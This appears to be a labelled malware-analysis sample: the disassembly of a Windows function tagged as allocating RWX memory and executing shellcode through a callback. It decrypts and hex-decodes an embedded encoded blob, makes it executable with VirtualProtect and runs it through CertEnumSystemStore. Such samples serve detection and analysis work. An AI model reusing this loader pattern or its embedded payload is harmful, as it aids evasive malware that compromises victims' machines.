Function at 0x140002890
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xe80]
sub rsp, 0xf80
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0xe70], rax
lea rcx, [rbp + 0x4a0]
lea rdx, str.fTk0IXsRsZrY9epOUeq1oQ0l4RoVPjlVJoEuMX3zPeEje8GdHrJUcxFZpepdr4SDRVKa6s7ouAvVNOqjbmDXauHJGPlOuvClVpjZvRyLdC2d6h5WF7twqC1kX9nIKWgL9KaawEYPrhgpcPJeSSnLatPbvLnYxgng2QCJQ8DmxkwRBosnzlWeW39pnWOJcwZvMht1Ue7ys35aku9WPa2jr1RTE8qRhrprEAHTMxpPpcOmcTSt4aUDyEbOtWv6EV_1GujETXF6kZi2OPptHXdc6bW2SBbgxuXyJeuHIZA2BzhEoq5oRTpsnMJe5vhw3YZtfRhkp7obYjkBRVZFdjHVVAq5moE8IFsKjpTWYKLjAyD_kJxIMk5dtnwtAuWanpbkTO9g9K_WqliXVzYiIZ1p8Miwi1sW5ur3Gb1kzepNpYIaYxHUlurHqTnouxtpTLOunWlvNzyBDhVaf4aNpYuaIaTTBrBMqVSmuJk6D5X5Ce6PRvNidWmaXD3vYNsGvdBfA2M_6yv_hfEgfBJDq5apzI7FFz7v2wHPP5HUiIsd2rGoIbQ22rdD0Z8ancxXvMkg5IN_RhJCcMeOJ7shlKf2Fqh6xkDNHER0spXyYwdJd3zgGi1wVJxvausSF8aodIx2AvQsSXMWaifrfeaZNnG8XU0ivHDscjqDf0Y5Xu6Q9oxR7gFo0qLrMOC3I45enuO6agfdgxRG2wUqQKOOOLiWuxJAT3n1zgk6QeRB4PqPTNPydNSU9kn7d0TnlzkbbzMeRHQzFbEr8PC8ncFIR52g1gFAjRpJ43s8OB1ECYriME2G5e_9juAFWObFlovcC7yhrcdxyn7wLgCyGp1f40orlH7sk_4sIgZKAKXqdWrbhmwdUfbOYt6cEij3qMM3aVg7Gsz5PtzqTEKxZyhajrl8bZiJl0ORZJhlg6TaRH_F380xq1DaZmtxjiYfcUTWPpkAYZJe4Vtm86Lvxx1PFCUZDPL0P09XiOKKZXx5VNVxbpmoADY33eMfwTIVcKtpo8hJVz4nLsyfvwHw2Z9RZ4zG_219rg3gvWN9sgYPbV5dZlCY8sRa1Nk4GstKteycoKVNi_KM7paf97NfhEXH8uePXViM4olM6alFDTAH4YkuyrjTIhhxpCXHDbAArDVxN9N74YxL783iixKeb2ZFfKdBS23RB0UzzcDBa_quML9jtUTCmeeZCh5jMJ0xMA5ZkV6s4pKPAmtGUUAPuWTL2vYig6TOXBdaUUR4Xk3MYJU1GQ6noUXr7KxcVoB2vlrgaeLpyU5sIIGyOt1OHeTdTvcFS4jJC56DeMx_esTRiRXZHwZq7NnnvtJNqZcdPX8SYmY08v_Ox9bHGNMQyhAEaYWJ5iiSW0KDzjPR_92Ml6p3Vmbdpg0Xt3XndWOOmv9hgAStO1rfzFUexG1clADgdEyZS9mto7ak0rlRWIKyvG1BaSyg67XFdcl929ExLX2G3zVeYIeBtPoD2Ku0xA3ban0HPktH_uXhxdHHO02uO20jlXWsMtU1wO8yue7V6J9W7X56rBM2kQnEn42K8Bx89pk8uORNKkeULI3a84c44xYH49vyZH4A7HaBmMWitL03fpXYMh6LTmy2QLO0rnCoAZHZwnPQBVBgmqmWJPB3SOi7mIl_TKFF9RrBDyYFWXofJ7z6PRj3M7r6cMcXjTIzjhS8N3uib5ZIn03QPlyceK_yvddo8L1PWLgnAxyFJKi_6VyOme998JFIW6GDYOAPCuXZBL91GEeBAjP6Zx6JahWmY16TUTThcueFoihZYSvWJgf0wlBso90gXzZo953hfTp5rQSDZprr8hqqyBQV0rkEgQJBM2T_YOlCHhh7i5Lg_pEj0R9mDKDCYT9WOhqZ0yB3sVLA1j74sy8XCzVZADdDzNualScJFwem6z8ttMklhnTV44W6FoCwMKTEca4zAePFF7glsmjdXo9JhwQUtAFNu6ylbL2U_jVF7pzs9vl9pUL9Pq8oYBKbuMbf5hZbDbKTR7S0jqVAkpQvOwaLJmW2wtKQKOAG_ZgPJTNIuzossF_X69zu7nk4hBpBBiCjvq6n6xifAMfDFY9dxMXBrOFcc2gxXLw2R7ZZJlwZ10kqlFsLpRgm_ZrifTXqpET6hsqPjN7vWVTmJky8Q7maU3pUtaCsVapic6Nd4ALYfSi6GZiJQDIZhdkvSeRn971HXDlIqe_b__3J9ZEmGdMOe8dESj5Z82rRT1xjahH2t9CeWqJp7BGXL0wjonPj3pL6L1xiGvExg8eiPafJcTgS16s5yfOc7H3J3BX9kaW7jfcAk83PFYtXJEaqv0YYLWnjYA3aqfqyYRK1BFGdGtQSLjNnxeGNHsS_AG7Bt6iDQMcj5Zqu3VSaeTAMbwaAsqDvjqUSMF9llw2Xl_O7KMa4OD614rDzbW9fnDZPLDwhJEjq7256gmtxEVgYmf9DXEMW_JBJ
mov r8d, 0x9c1
call sub.VCRUNTIME140.dll_memcpy
movups xmm1, xmmword [str.W9UKQW5ltwlY8AGQc4nGwxhRPfHnsqCu]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400090d8]
movups xmmword [rbp - 0x60], xmm0
movzx eax, byte [0x1400090e8]
mov byte [rbp - 0x50], al
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x60], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rbp + 0x4a0]
mov rsi, 0xffffffffffffffff
mov rbx, rsi
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002930
movabs r14, 0x7fffffffffffffff
cmp rbx, r14
ja 0x140002c21
xor edi, edi
cmp rbx, 0xf
ja 0x140002980
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], 0xf
mov r8, rbx
lea rdx, [rbp + 0x4a0]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x20], dil
jmp 0x140002a1b
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x1400029b9
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400031a4
test rax, rax
je 0x140002be7
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400029f6
mov r14, rax
mov ecx, 0x16
cmp rax, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x1400029d6
mov r15, rdi
jmp 0x1400029f6
cmp rcx, 0x1000
jb 0x1400029ee
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002c27
jmp 0x14000299a
call fcn.1400031a4
mov r15, rax
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r14
mov r8, rbx
lea rdx, [rbp + 0x4a0]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbx], dil
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.140001a40
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140002a71
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002be7
call fcn.140002ed0
xor edx, edx
mov r8d, 0x9c1
lea rcx, [rbp + 0x4a0]
call sub.VCRUNTIME140.dll_memset
mov edx, edi
mov r8, qword [rbp - 0x80]
test r8, r8
je 0x140002ac6
mov rcx, rdi
mov r9, qword [rbp - 0x78]
mov r10, qword [rsp + 0x70]
nop dword [rax]
lea rax, [rsp + 0x70]
cmp r9, 0xf
cmova rax, r10
movzx eax, byte [rcx + rax]
mov byte [rbp + rcx + 0x4a0], al
inc edx
lea rcx, [rcx + 1]
movsxd rax, edx
cmp rax, r8
jb 0x140002aa0
xor edx, edx
mov r8d, 0x4e0
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x4a0]
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x140002ae0
test rsi, rsi
je 0x140002b79
lea r9, [rbp - 0x40]
mov edx, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
nop
movsx r8d, byte [rbp + rdi + 0x4a0]
lea eax, [r8 - 0x30]
cmp al, 9
ja 0x140002b17
lea edx, [r8 - 0x30]
jmp 0x140002b31
lea eax, [r8 - 0x61]
cmp al, 5
ja 0x140002b25
lea edx, [r8 - 0x57]
jmp 0x140002b31
lea eax, [r8 - 0x41]
cmp al, 5
ja 0x140002b31
lea edx, [r8 - 0x37]
movsx r8d, byte [rbp + rdi + 0x4a1]
lea eax, [r8 - 0x30]
cmp al, 9
ja 0x140002b48
lea ecx, [r8 - 0x30]
jmp 0x140002b62
lea eax, [r8 - 0x61]
cmp al, 5
ja 0x140002b56
lea ecx, [r8 - 0x57]
jmp 0x140002b62
lea eax, [r8 - 0x41]
cmp al, 5
ja 0x140002b62
lea ecx, [r8 - 0x37]
movzx eax, dl
shl al, 4
add al, cl
mov byte [r9], al
inc r9
add rdi, 2
cmp rdi, rsi
jb 0x140002b00
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r9, [rsp + 0x68]
mov edx, 0x4e0
mov r8d, 0x40
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp - 0x40]
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002bf3
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002ed0
xor eax, eax
mov rcx, qword [rbp + 0xe70]
xor rcx, rsp
call fcn.140002eb0
lea r11, [rsp + 0xf80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001250
int3
call fcn.1400011b0
int3